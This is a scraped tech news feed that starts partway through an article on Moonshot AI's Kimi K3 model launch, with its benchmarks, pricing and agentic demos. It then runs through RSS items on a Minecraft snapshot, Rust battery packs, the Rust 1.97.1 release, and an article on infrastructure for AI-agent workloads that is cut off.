frontier-class large language model with 2.8 trillion total parameters — roughly 75 percent larger than <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek's V4 Pro</a>, which the company's own timeline chart shows at approximately 1.6 trillion parameters. The model features a 1-million-token context window, native visual understanding capabilities, and an always-on reasoning mode that the company calls "thinking mode."</p><p>The model is built on two key architectural innovations developed internally at Moonshot AI: <a href="https://arxiv.org/abs/2510.26692">Kimi Delta Attention</a>, a hybrid linear attention mechanism, and <a href="https://arxiv.org/abs/2603.15031">Attention Residuals</a>, which the company describes as a drop-in replacement for residual connections that delivers consistent scaling gains. Both techniques were previously published as open research by the Moonshot team on <a href="https://github.com/moonshotai">GitHub</a>.</p><p>On the <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">API side</a>, Kimi K3 is compatible with the <a href="https://developers.openai.com/api/docs/guides/agents">OpenAI SDK</a>, lowering the integration barrier for developers already building on OpenAI or Anthropic toolchains. The model is priced at $3 per million input tokens and $15 per million output tokens, with cached input tokens dropping to just $0.30 per million — pricing that positions it roughly in line with mid-tier offerings from Western labs, but at a performance level the company claims approaches the top of the market. A promotional top-up rebate running through August 12 offers up to 30 percent back in vouchers for API credits of $1,000 or more.</p><p>As <a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua reported</a>, a Moonshot AI executive explained the significance of the parameter count in simple terms: parameters are like neural connections in the human brain, and nearly 3 trillion of them means the model can "store more knowledge and patterns in its brain, understand more, think deeper, and answer more accurately."</p><div></div><h2><b>Benchmark results show Kimi K3 trading blows with Claude and GPT at the top of the leaderboard</b></h2><p>The benchmark results, drawn from public leaderboard data and a private evaluation by analytics firm Artificial Analysis, tell a striking story.</p><p>On <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA v2</a>, a benchmark measuring real-world tasks across 44 occupations and 9 major industries, Kimi K3 scored 1,687 — placing it third overall, behind only Claude Fable 5 Max (1,815) and GPT-5.6 Sol Max (1,747.8), and ahead of Claude Opus 4.8 (1,600).</p><p>On <a href="https://artificialanalysis.ai/evaluations/aa-briefcase">AA-Briefcase</a>, a private agentic benchmark from Artificial Analysis designed to test long-horizon knowledge work, K3 climbed to second place with a score of 1,527 — beating GPT-5.6 Sol Max (1,495) and trailing only Fable 5 Max (1,587).</p><p>Perhaps most impressively, K3 achieved a state-of-the-art score of 91.2 out of 100 on <a href="https://openai.com/index/browsecomp/">BrowseComp</a>, a benchmark for long-horizon, high-difficulty information seeking. </p><p>The company says it accomplished this in a single-agent setup using its 1-million-token context window, without any context compression or additional context management techniques — a feat that suggests raw context length, when paired with strong retrieval capabilities, may be more powerful than elaborate multi-agent workarounds.</p><p>As <a href="https://x.com/kimmonismus/status/2077818040578695175">one widely followed AI commentator</a> put it on social media: "Open source is no longer lagging six months behind Western closed-source models. Read that again, and think about what it all means."</p><p>That observation captures the significance of the moment. For much of the past three years, open-source models have typically trailed their proprietary counterparts by a meaningful margin. Kimi K3 appears to have closed that gap almost entirely.</p><h2><b>How a 48-hour autonomous chip design demo reveals Moonshot's real ambitions</b></h2><p>Beyond raw benchmarks, <a href="https://www.moonshot.ai/">Moonshot AI</a> showcased a proof-of-concept that may be even more revealing of K3's capabilities and the company's strategic direction.</p><p>In a demonstration documented in the company's technical materials, <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> was tasked with designing a physical chip to run a nano-scale version of itself. Over 48 hours of continuous autonomous agent operation, K3 independently completed the chip's full construction pipeline — from architectural design through optimization and verification — using open-source electronic design automation tools. The result was a tiny but functional chip design, just 4 square millimeters, that achieved timing convergence at 100 MHz and could decode more than 8,700 tokens per second in simulation.</p><p>This is not a production chip. It is a demonstration of what <a href="https://www.moonshot.ai/">Moonshot AI</a> clearly views as the next competitive frontier: long-range autonomous agent capabilities. The ability to sustain coherent, multi-step technical work over a 48-hour window — reading documentation, making design decisions, running verification loops, and iterating on failures — represents a qualitative leap beyond the kind of single-turn question-answering that defined the first generation of large language models.</p><p>The company also highlighted a case in computational astrophysics, where K3 reportedly reproduced the universal <a href="https://inspirehep.net/literature/1220233">I-Love-Q relation</a> — a complex calculation that typically takes a senior researcher one to two weeks — in approximately two hours, reading and cross-validating more than 20 papers and implementing a complete numerical pipeline along the way.</p><h2><b>Moonshot AI's fall and rise tells the story of China's brutal AI market</b></h2><p>To understand why <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> matters, you need to understand where Moonshot AI was 18 months ago — and how far it fell.</p><p>Founded in 2023 by <a href="https://kimiyoung.github.io/">Yang Zhilin</a>, a Tsinghua University graduate who previously conducted research at Google and Meta, Moonshot AI quickly became one of China's most prominent AI startups. The company gained early traction in 2024 when users flocked to its <a href="http://kimi.ai/">Kimi platform</a> for its long-text analysis capabilities and AI search functions. By early 2026, it had raised roughly <a href="https://www.forbes.com/sites/the-prompt/2026/07/15/ai-startup-reflection-compute-deal-to-challenge-chinas-open-source-dominance/">$1.5 billion</a> across multiple rounds, with its valuation climbing from $2.5 billion to $4.3 billion and the company reportedly <a href="https://tech.yahoo.com/ai/gemini/articles/china-moonshot-releases-open-source-141110760.html">seeking a new round at $5 billion</a>.</p><p>Then DeepSeek happened. The release of DeepSeek's low-cost R1 model in January 2025 disrupted the entire Chinese AI landscape, and Moonshot AI was among the hardest hit. Kimi, which had ranked third in monthly active users in China, slid to seventh. The company's strategic pivot to open-source models — beginning with Kimi K2 in July 2025 and accelerating with K2.5 in January 2026 — was in large part an effort to reclaim relevance.</p><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is the culmination of that effort — and the sheer scale of the model suggests that Moonshot AI has been planning this move for some time. Training a 2.8-trillion-parameter model requires enormous computational resources and months of preparation, which means the architectural and infrastructure decisions behind K3 were likely locked in well before the model reached the public.</p><h2><b>Why open-sourcing the world's biggest model is a geopolitical chess move</b></h2><p>The decision to release K3's full weights on July 27 is strategically significant and worth parsing carefully.</p><p>The company's own timeline chart of open-source frontier model scale positions K3 as a dramatic outlier, towering above competitors like <a href="https://github.com/deepseek-ai">DeepSeek</a> (1.6T), <a href="https://github.com/xiaomi">Xiaomi</a> (1.02T), and <a href="https://github.com/ALIBABA">Alibaba</a> (397B). By releasing the world's largest open-source model, Moonshot AI is making a bid to become the center of gravity for the global open-source AI developer community.</p><p>This follows a broader trend among Chinese AI companies. As <a href="https://www.reuters.com/technology/artificial-intelligence/china-weighs-silicon-curtain-around-sought-after-ai-models-2026-07-08/">Reuters noted</a>, open-sourcing allows companies to "showcase their technological capabilities and expand developer communities as well as their global influence, a strategy likely to help China counter U.S. efforts to limit Beijing's tech progress." DeepSeek, Alibaba, Tencent, and Baidu have all released open-source models. But none have released anything at this parameter count.</p><p>For enterprise technology leaders, the implications are concrete. A 2.8-trillion-parameter open-source model that performs at near-frontier levels creates new options for companies that want to fine-tune, self-host, or build proprietary systems on top of a capable base model — without being locked into API contracts with OpenAI or Anthropic. The trade-off, of course, is that running a model of this size requires substantial GPU infrastructure. Inference at 2.8 trillion parameters is not something that runs on a single server rack.</p><p>That said, <a href="https://www.moonshot.ai/">Moonshot AI</a> has signaled awareness of this challenge. Its Mooncake project, which won the Best Paper award at FAST 2025, pioneered KV-cache-centric disaggregated serving for large language models — an architecture designed specifically to make inference at extreme scale more practical and cost-efficient.</p><h2><b>Kimi Code and a three-tier model lineup form the foundation of Moonshot's enterprise play</b></h2><p>Alongside K3, Moonshot AI continues to invest heavily in its coding agent ecosystem. <a href="https://github.com/MoonshotAI/kimi-code/releases">Kimi Code</a>, the company's open-source coding tool that competes with Anthropic's Claude Code and Google's Gemini CLI, received two major updates on the same day as K3's launch — versions 0.25.0 and 0.26.0 — adding features like expanded subagent tooling, background task management, and security fixes.</p><p>The <a href="https://github.com/MoonshotAI/kimi-cli">Kimi Code CLI</a> has accumulated over 3,100 stars on GitHub and features integration with VSCode, Cursor, and Zed. The latest release expanded the "coder subagent" tool set to include background tasks, todo lists, plan mode, skill invocation, and nested agents — effectively turning the coding agent into a multi-layered autonomous system capable of managing complex software engineering projects with minimal human intervention.</p><p>This is not incidental. Coding tools have become a critical revenue driver for AI labs. As Anthropic disclosed in January, <a href="https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone">Claude Code reached $1 billion in annualized recurring revenue</a>. By building Kimi Code as an open-source alternative that defaults to Kimi's own models — but supports other providers — Moonshot AI is positioning itself to capture developer workflows and, eventually, enterprise contracts.</p><p>The company's model lineup now includes three tiers: <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">K3</a> as the flagship ($3/$15 per million tokens for input/output), <a href="https://platform.kimi.ai/docs/guide/kimi-k2-7-code-quickstart">K2.7 Code</a> as a specialized coding model ($0.95/$4), and <a href="https://platform.kimi.ai/docs/guide/kimi-k2-6-quickstart">K2.6</a> as a general-purpose option ($0.95/$4). All three support context windows of 256,000 tokens or above, with K3 offering the full 1-million-token window. Context caching is automatic — no cache ID, TTL, or extra parameter is required — a small but meaningful developer-experience advantage over competitors that require explicit cache management.</p><h2><b>What Kimi K3 means for the future of enterprise AI and the global model landscape</b></h2><p>Kimi K3's release forces a recalibration of several assumptions that have guided enterprise AI strategy.</p><p>The performance gap between open-source and proprietary models has functionally closed at the frontier. If K3's benchmark numbers hold up under independent evaluation — and particularly once the open weights are available for community testing on July 27 — it will be difficult for closed-source providers to justify premium pricing purely on the basis of capability.</p><p>The locus of AI innovation, meanwhile, continues to shift. China's AI ecosystem, which many Western observers questioned after early struggles with chip export restrictions, has now produced a model that competes with the best systems from companies with direct access to Nvidia's most advanced hardware. The architectural innovations behind K3 — particularly the hybrid linear attention mechanism — suggest that algorithmic efficiency may matter as much as raw compute.</p><p>And the agentic capabilities demonstrated by K3 — chip design, multi-week research compression, long-horizon information seeking — point toward a future where AI models are not just answering questions but autonomously executing complex, multi-day projects. For enterprises evaluating AI investments, this shifts the value proposition from "productivity copilot" to "autonomous technical workforce."</p><p><a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua</a>, China's state news agency, framed the release as a national milestone, reporting that K3 "marks a new step forward in the development of China's artificial intelligence models." Liu Tieyan, dean of the Zhongguancun Academy in Beijing, was quoted as saying that a wave of Chinese open-source models has moved from isolated breakthroughs to collective advancement, providing "new solutions and new paths" for global AI development.</p><p>Just two years ago, <a href="https://www.moonshot.ai/">Moonshot AI</a> was a scrappy startup named for the audacious problems it hoped to solve. Eighteen months ago, it was a cautionary tale about how quickly a market darling can lose its footing. Today, it is the maker of the world's largest open-source AI model — one that can, given 48 hours and an internet connection, design a chip to run itself. The frontier, it turns out, is not a place. It is a race. And the field just got a lot more crowded.</p><p>
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<title><![CDATA[Minecraft 26.3 Snapshot 4 brings SDL3, and prefers Wayland on Linux]]></title>
<description><![CDATA[Minecraft is set for another big update with a fresh Minecraft 26.3 Snapshot 4 ready for testing, and overall it's quite a big technical upgrade.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3674298/linux-tipps/minecraft-263-snapshot-4-brings-sdl3-and-prefers-wayland-on-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674298/linux-tipps/minecraft-263-snapshot-4-brings-sdl3-and-prefers-wayland-on-linux/</guid>
<pubDate>Thu, 16 Jul 2026 19:37:03 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Minecraft is set for another big update with a fresh Minecraft 26.3 Snapshot 4 ready for testing, and overall it's quite a big technical upgrade.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/539600881id29401gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/minecraft-26-3-snapshot-4-brings-sdl3-and-prefers-wayland-on-linux/">GamingOnLinux</a>.</p>]]></content:encoded>
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<title><![CDATA[Niko Matsakis: Battery packs: Let's talk about crates, baby]]></title>
<description><![CDATA[This blog post describes an idea I’ve been kicking around called battery packs. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has everything you need to build a great CLI, an opinionated pack for creating a backend web servi...]]></description>
<link>https://tsecurity.de/de/3674266/tools/niko-matsakis-battery-packs-lets-talk-about-crates-baby/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674266/tools/niko-matsakis-battery-packs-lets-talk-about-crates-baby/</guid>
<pubDate>Thu, 16 Jul 2026 19:24:07 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img alt="Battery pack logo" class="float-right" src="https://smallcultfollowing.com/babysteps/%20/assets/2026-07-15-battery-packs.png">
<p>This blog post describes an idea I’ve been kicking around called <strong>battery packs</strong>. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has <a href="https://crates.io/crates/cli-battery-pack">everything you need to build a great CLI</a>, an opinionated pack for <a href="https://crates.io/crates/backend-service-battery-pack">creating a backend web service</a>, and <a href="https://crates.io/crates/embedded-battery-pack">one for embedded development</a> (based on the Embedded Working Group’s <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Rust repository</a>). We’ve also got some smaller ones, such as the <a href="https://crates.io/crates/error-battery-pack">error-handling battery pack</a> that shows how to handle errors in Rust. But this is just the beginning – a key part of the battery pack design is that anybody can create one.</p>
<p>Battery packs are meant to address one of the most common things I hear from new Rust adopters. Everyone loves the wealth of high-quality crates available on crates.io. And everyone hates having to spend a bunch of time researching and comparing alternatives. Battery packs can serve as a good set of default choices. And they don’t lock you in. At heart, they’re basically just a list of recommended crates, so you can always swap something out if you find an alternative.</p>

<p>We’ve got a prototype of the battery pack tool working today, so you can try it out if you’re curious. Just run <code>cargo install cargo-bp</code> and then try a few commands! For example,</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">&gt; cargo bp list
</span></span></code></pre></div><p>will show you the set of available battery packs, based on a crates.io search (as I’ll explain below, a battery pack is itself packaged and distributed as a crate, but not one that you take a direct dependency on). And <code>cargo bp add</code> will add batteries from a battery pack into your crate, so e.g.</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">&gt; cargo bp add cli
</span></span></code></pre></div><p>would let you select and add common CLI libraries. If you want to see a more involved demo, try out <code>cargo bp add embedded</code>, which is derived from the <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Embedded Rust</a> repository.</p>
<h3>Let’s talk about you and me</h3>
<p>One of the key ideas from battery packs is that <strong>anybody can publish one</strong>. They are just a crate named <code>X-battery-pack</code>; the dependencies of that crate are your recommendations. Features are designations of common sets of crates frequently used together. The examples are your templates. And so forth.</p>
<p>Letting anybody create a battery pack is in contrast to the previous ideas for an “extended standard library for Rust”<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:1">1</a></sup>, and it is intended to address some of Rust’s unique challenges. For one thing, it lets people publish battery packs that are tailored to specific requirements. For example, the <a href="https://crates.io/crates/cli-battery-pack">CLI</a> and <a href="https://crates.io/crates/backend-service-battery-pack">backend service</a> battery packs are targeting a “typical computer”. But I could imagine the <a href="https://rust-embedded.org/">Rust embedded working group</a> publishing a battery pack with libraries focused on no-std and binary size optimization.</p>
<p>Being open-ended also addresses the <em>“who decides?”</em> question. To my mind, the best people to recommend what libraries you ought to use are <strong>other people building systems like yours</strong>. This is why I mentioned the Embedded Working Group publishing an Embedded battery pack, for example, as I think they are clearly a set of people who know their space well. But even within the embedded space there are yet smaller groups, and I imagine that sometimes it’ll make sense to get narrower. For example, perhaps a battery pack targeted <a href="https://embassy.dev/">embassy</a> and its associated ecosystem? Unclear.</p>
<h4>Creating a battery pack</h4>
<p>If you wanted to create a battery pack, how do you do it? One answer is that you just create a new crate. But a better approach is to use the “battery-pack battery pack”<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:2">2</a></sup>, which bundles a template:</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">cargo bp new battery-pack
</span></span></code></pre></div><p>This will prompt you for the name of the battery pack you want to create and a few other things and make your crate. Then you can just use <code>cargo add</code> dependencies to represent the libraries you want to recommend and publish.</p>
<h4>“Batteries” are more than dependencies</h4>
<p>The “batteries” that you can add to your project aren’t always dependencies. They can also be “recipes” or templates. For example, the CI battery pack<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:3">3</a></sup> can configure your project with the kind of “super neat-o” github actions you’ve always wanted but never wanted to bother configuring. To use it, select one or more of the templates to install:</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">cargo bp add ci
</span></span></code></pre></div><p>I expect this kind of “actions to improve your crate” to become a rich source of things. Right now we’re using a relatively lightweight template system built on <a href="https://github.com/mitsuhiko/minijinja">minijinja</a>, but I think we’re going to want to expand on this.</p>
<h4>Giving it some structure</h4>
<p>Battery Packs also support more than just a flat listing of dependencies/features/templates. You can group dependencies and features into <em>categories</em> and then, for each category, distinguish between “pick at most one” or “pick any number”. For a fun example, try <code>cargo bp add embedded</code>, which is derived from the <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Embedded Rust</a> repository. If you run it, you’ll see something like this, which groups the choices thematically and, in some areas like “concurrency framework”, makes it clear that you want to pick one:</p>
<pre tabindex="0"><code>──────────────────────────────────────────────────────────────────
 ▼ Concurrency Framework (pick at most one)
 &gt; ○ ✦ embassy [embassy-executor, embassy-sync, embassy-time]
   ○ ✦ rtic [cortex-m, rtic]    RTIC — interrupt-driven real-time

 ▼ Display &amp; Graphics (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col

 ▼ Popular Drivers (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col
   [ ] ✦ sensor-bme280 [bme280]    BME280 temperature/humidity/pr
   [ ] ✦ sensor-lis3dh [lis3dh]    LIS3DH 3-axis accelerometer (I
   [ ] ✦ usb-device [usb-device, usbd-serial]    USB device stack

 ▼ Hardware Abstraction Layer (pick at most one)
   ○ ✦ atsamd [atsamd-hal, cortex-m-rt, critical-section-impl, co
   ○ ✦ esp32 [embedded-hal, esp-hal]    ESP32 (Xtensa, WiFi + BT,
   ○ ✦ esp32c3 [embedded-hal, esp-hal]    ESP32-C3 (RISC-V, WiFi
   ○ ✦ esp32s3 [embedded-hal, esp-hal]    ESP32-S3 (Xtensa, WiFi
   ○ ✦ nrf52832 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf52840 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf9160 [cortex-m-rt, critical-section-impl, cortex-m, emb
   ○ ✦ rp2040 [cortex-m-rt, critical-section-impl, cortex-m, embe
   ○ ✦ stm32f0 [cortex-m-rt, critical-section-impl, cortex-m, emb
 embedded-battery-pack v0.1.0  ↑↓/jk Navigate | Space Toggle | ←/→
</code></pre><h3>Let’s talk about all the good things…</h3>
<p>So why am I so keen on battery packs? It’s largely because I’ve heard so many would-be or recent Rust adopters talk about picking crates as a challenge. But I feel they would help with some other problems as well.</p>
<p>What I really want to see is working groups in the <a href="https://rustfoundation.org/rust-commercial-network/">Rust Commercial Network</a> banding together to publish battery packs and recommendations. These would cover the dependencies that they’re actually using.</p>
<h4>Supporting maintainers</h4>
<p>One of the reasons I want to have RCN-recognized battery packs is that they are a natural focal point to then prompt RCN members to fund the maintenance of those crates. I am imagining that for each sponsored battery pack vended within the RCN, there is an associated “ecosystem fund”. Companies or individuals could sponsor this fund to get access to early patches, security disclosures, etc or other perks. The money would be used to support the maintainers of those crates, to implement missing features, and so forth.</p>
<h4>Fostering interoperability</h4>
<p>Another value-add from battery packs is the ability to drive interop efforts. I think that as soon as we start talking about standardizing, we’re also going to recognize that there are some places where standardization is hard. For example, early conversations within the <a href="https://rust-commercial-network.github.io/rcn/network-services-wg.html">network service working group</a> (unsurprisingly) immediately identified that while most people are using <a href="https://tokio.rs/">tokio</a>, some major companies are using their own runtimes internally. It’s not like the need for “async runtime interop” is <a href="https://rust-lang.github.io/wg-async/vision/submitted_stories/status_quo/barbara_wishes_for_easy_runtime_switch.html">news</a>. But right now, every crate winds up effectively implementing their own set of little traits to make it work. Sponsored battery packs offer the possibility of a neutral home for that sort of thing.</p>
<h3>…and the bad things that could be</h3>
<p>There are some risks to people using battery packs. The most obvious is that the fact that anybody can publish a battery pack may mean that you just get a ton of battery packs, which doesn’t really help anybody! I’m not so worried about this because I think that there will be a few obvious places that most people go first, and then I think once people are oriented, they’ll get excited to explore what crates.io has to offer and start discovering more niche battery packs.</p>
<h4>Avoiding stagnation</h4>
<p>Battery packs are designed to evolve. I’ve seen it happen a number of times that there is a dominant crate for something, often taking a “traditional approach”, but then somebody else comes along and presents an interesting alternative that gradually takes off. I love that and I don’t want to put it at risk.</p>
<p>One example of evolution around CLI argument parsing. For a time, <a href="https://crates.io/crates/docopt">docopt</a> was a popular way to parse command-line options. Then <a href="https://crates.io/crates/clap">clap</a> came along and presented a more structured alternative; that was nice, but then structopt came along and connected clap to an auto-derive, so you could just write your data structure and be done. And <em>that</em> was awesome. (That is now the standard in clap.) I want to be sure that, even if there is a CLI battery pack, there’s room for the next clap to come along.</p>
<p>There are a few things about battery pack that I think will help us deal with this. First, they are a “thin abstraction”. You don’t “depend on” a battery pack, you depend on the crates within it. So if a new version comes out that uses clap instead of docopt, that doesn’t impact you at all. Your code keeps working same as it ever did. And of course it helps that <em>anybody</em> can publish a battery pack. You can now have variations on battery packs that are focused around a new approach to help it get started.</p>
<p>Done right, I think that standardized battery packs can also <em>help</em> the ecosystem evolve and pivot. As it is now, knowledge of new crates has to spread by word-of-mouth. But if everybody is aligned around a new approach, adopting that new approach within a battery packs sends a clear signal that your group is aligned that something is the new hotness.</p>
<h3>…Let’s talk about crates<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:4">4</a></sup></h3>
<h4>“Always bet on the ecosystem”</h4>
<p>I see <strong>always bet on the ecosystem</strong> as a key Rust design axiom. It’s the reason we chose a small standard library and a package manager in the first place. It’s also why battery packs are designed to be published by anyone.</p>
<p>But just like plants sometimes need a trellis to grow taller, any successful ecosystem reaches a point where it needs another layer of structure to help it keep growing. Without that, you have this “layer of tacic knowledge” (in <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/#example-the-wealth-of-crates-on-crates-io-are-a-key-enabler-but-can-be-an-obstacle">the words of a Rust Vision Doc interviewee</a>) that becomes an obstacle for folks. And I think we’ve reached that point with <code>crates.io</code>.</p>
<p>I am hopeful that battery packs can provide that next layer of structure. But at the end of the day, if there’s a better approach, that’s fine too, so long as we find a way to help people find (<em>and fund!</em>) the crates they need. So let’s talk about it!</p>
<div class="footnotes">
<hr>
<ol>
<li>
<p>My first recollection of it was the <a href="https://internals.rust-lang.org/t/proposal-the-rust-platform/3745">Rust Platform</a> idea we floated in 2016! <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:1">↩︎</a></p>
</li>
<li>
<p>Yo dawg… <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:2">↩︎</a></p>
</li>
<li>
<p>Hat tip to Jess Izen, who proposed and developed the CI battery pack. Neat idea. <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:3">↩︎</a></p>
</li>
<li>
<p>Oh, and: my apologies to <a href="https://en.wikipedia.org/wiki/Let's_Talk_About_Sex">Salt-N-Peppa</a>. <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:4">↩︎</a></p>
</li>
</ol>
</div>]]></content:encoded>
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<title><![CDATA[Rust 1.97.1]]></title>
<description><![CDATA[rustc: Fix miscompilation in LLVM optimization This backports an LLVM submodule bump to include the LLVM-side fix and a revert of the rustc change that is one known trigger for the bug. The rustc side revert should not be strictly necessary but is done out of abundance of caution.]]></description>
<link>https://tsecurity.de/de/3673450/downloads/rust-1971/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673450/downloads/rust-1971/</guid>
<pubDate>Thu, 16 Jul 2026 14:32:38 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a></a></p>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159035" data-hovercard-type="issue" data-hovercard-url="/rust-lang/rust/issues/159035/hovercard">rustc: Fix miscompilation in LLVM optimization</a> This backports an LLVM submodule bump to include the LLVM-side fix and a revert of the rustc change that is one known trigger for the bug. The rustc side revert should not be strictly necessary but is done out of abundance of caution.</li>
</ul>]]></content:encoded>
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<title><![CDATA[New agentic compute patterns]]></title>
<description><![CDATA[For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start th...]]></description>
<link>https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</guid>
<pubDate>Thu, 16 Jul 2026 11:19:03 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start thinking about services. Most cloud-native infrastructure today is built on top of it, directly or in spirit, and EKS made that model the default for the majority of enterprise teams running workloads on AWS.</p>



<p class="wp-block-paragraph">The workload that defined that era was the stateless HTTP request, fast in, fast out, disposable. A user action triggers a request, the request hits a service, the service returns a response and the container is done. Kubernetes was optimized for that pattern down to the scheduler internals: Bin-pack containers onto nodes, autoscale on CPU and memory, evict and reschedule when something goes wrong. The whole system is tuned around the assumption that individual units of work are short, stateless and interchangeable.</p>



<p class="wp-block-paragraph">That assumption no longer holds for the workloads that matter most right now.</p>



<h2 class="wp-block-heading">The agent workload is structurally different</h2>



<p class="wp-block-paragraph">Agents are long-running, stateful processes. They reason across time, call external tools, spawn subprocesses, write and execute code, and make decisions that depend on what happened five steps earlier in the same task. A single-agent workflow might run for minutes or hours, touching a dozen external systems and generating intermediate outputs that subsequent steps depend on. The compute layer for that kind of work needs to do things the old model was never asked to do. That is the new pattern: Execution infrastructure designed around agent semantics rather than request semantics.</p>



<p class="wp-block-paragraph">The Kubernetes community itself has acknowledged this mismatch. In March 2026, Kubernetes SIG Apps published an<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> introduction to Agent Sandbox</a>, a new CRD-based abstraction designed specifically for singleton, stateful agent workloads. The framing is direct: The ecosystem is moving from short-lived, isolated tasks to deploying multiple, coordinated AI agents that run continuously, and mapping those workloads to traditional Kubernetes primitives requires an entirely new abstraction. The fact that the Kubernetes maintainers built a dedicated primitive for this, rather than recommending teams compose one from existing resources, is itself the clearest signal that agent execution does not fit the old model.</p>



<h2 class="wp-block-heading">What agent execution actually requires</h2>



<p class="wp-block-paragraph">Concretely, it requires four things. First, isolated execution environments that provision in milliseconds, not minutes, so each agent task gets its own sandbox for code execution and tool calls without blocking the reasoning loop. The difference between a two-second environment and a two-minute environment is not a performance optimization; it determines whether the architecture is viable at all. Second, durable state management across the full task lifecycle, so an agent can pause, hand off or resume without re-initializing from scratch and burning tokens to reconstruct context it already built. Third, coordination primitives for multi-agent work: The ability to spawn subagents, pass structured outputs between them and track task dependencies across a graph of concurrent processes. Production agent systems are rarely single agents; they are pipelines of specialized agents with handoffs that need to be reliable and inspectable. Fourth, credentials and secrets management that travel with the execution context, so agents can authenticate to external services securely without exposing credentials in the task definition, logs or the environment variables of a shared container.</p>



<h2 class="wp-block-heading">The mismatch shows up fast in production</h2>



<p class="wp-block-paragraph">Kubernetes and EKS expose the mismatch quickly in practice. Pod eviction terminates an agent mid-task with no clean recovery path. Autoscaling reads CPU utilization as the load signal, but an agent holding a long inference connection looks idle to the scheduler even when it is doing the most consequential work in the pipeline. Provisioning a new environment takes 45 seconds to two minutes on a well-tuned cluster; agent workloads need that in under two seconds or the reasoning loop stalls and the user experience degrades visibly. These are not edge cases or misconfigurations. They are the normal operating conditions for production agent workloads running on infrastructure that was not designed for them.</p>



<p class="wp-block-paragraph">The utilization data makes the broader cost picture even starker. The<a href="https://url.usb.m.mimecastprotect.com/s/zk-6CB1MnMHEQoqvI6hNf2eRQz?domain=cast.ai/" target="_blank" rel="noreferrer noopener"> 2026 State of Kubernetes Optimization Report</a> from CAST AI, drawn from analysis of over 23,000 production clusters across AWS, Azure and GCP, found average CPU utilization at 8 percent, down from 10 percent the year prior. Memory utilization fell from 23 to 20 percent. CPU overprovisioning jumped from 40 to 69 percent year over year. These numbers reflect clusters running traditional workloads, and the pattern is worsening, not improving, as environments scale. Agent workloads compound this problem further. An agent holding an open inference connection or waiting on a tool call registers as idle to a scheduler that reads CPU and memory as the only meaningful load signals. The infrastructure responds to the wrong metric, overprovisioning capacity for demand it cannot measure, while the actual bottleneck, environment provisioning latency and state continuity, goes unaddressed.</p>



<h2 class="wp-block-heading">Security is not the same problem it was before</h2>



